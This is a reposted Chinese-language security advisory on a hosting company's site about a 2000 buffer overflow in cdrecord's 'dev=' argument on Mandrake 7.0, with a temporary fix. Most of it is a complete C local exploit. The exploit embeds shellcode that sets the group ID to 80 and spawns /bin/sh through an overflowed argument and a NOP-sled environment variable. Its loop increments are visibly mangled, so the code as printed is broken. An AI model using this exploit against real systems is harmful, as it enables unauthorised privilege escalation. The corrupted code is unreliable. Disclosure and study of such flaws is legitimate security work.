手机站
网通分站
电信主站
密 码:
用户名:
当前位置 : 主页>服务器技术>安全防护>列表

Linux cdrecord 缓冲区溢出漏洞

来源:互联网 作者:西部数码 时间:2008-04-10
西部数码-全国虚拟主机10强!40余项虚拟主机管理功能,全国领先!双线多线虚拟主机南北访问畅通无阻!免费赠送企业邮局,.CN域名,自助建站480元起,免费试用7天,满意再付款! P4主机租用799元/月.月付免压金!
Linux cdrecord 缓冲区溢出漏洞

发布日期:2000-05-31
更新日期:2000-05-31

受影响系统:
Linux Mandrake 7.0
描述:

cdrecord存在缓冲区溢出漏洞,可能在本地受到这种攻击。缺省安装完
Mandrake 7.0 后,cdrecord是setgid cdburner的,cdburner组ID是80。导
致溢出的关键在于cdrecord没有对参数"dev="进行边界检查。

<* 来源:noir (noir@gsu.linux.org.tr) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
* /usr/bin/cdrecord exploit by noir
* x86/Linux
* noir@gsu.linux.org.tr | noir@olympos.org
* dev= param overflow
* this script will get you gid = 80 group cdwriter
* tested on Mandrake 7.0 (Air)
* greetz: dustdevil, Cronos, moog, still, BlaCK #olympos irc.sourtimes.org
*/

#include <stdio.h>
#include <string.h>

#define NOP 0x90
#define RET 0xbffffe66 //play with argv[1] 10, -10 if default is not ok
int main ( int argc, char * argv[] )
{
u_char shell[] =
"\x31\xc0\xb0\x50\x89\xc3\x89\xc1\xb0\x47\xcd\x80" /*setregid(80, 80) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char egg[400];
char buf[80];
int i, a;
long ret = RET;

if ( argv[1] )
{
ret = ret - atoi( argv[1] );
}
memset( egg, NOP, 400 );
for ( i = 0 ; i < 80 ; i = 4 )
{
*( long * )&buf[i] = ret;
}
for ( i = 300, a = 0; a < strlen( shell ); i , a )
{
egg[i] = shell[a];
}
buf[72] = 0x00;
egg[399] = 0x00;
printf( "eip: 0x%x\n", ret );
setenv( "EGG", egg, 1 );
execl( "/usr/bin/cdrecord", "cdrecord", "dev=", buf, "/etc/passwd", 0 );
} /* end of main */



建议:

在没有提供补丁之前,一个临时解决方案就是
chmod g-s /usr/bin/cdrecord

文章整理:西部数码--专业提供域名注册虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!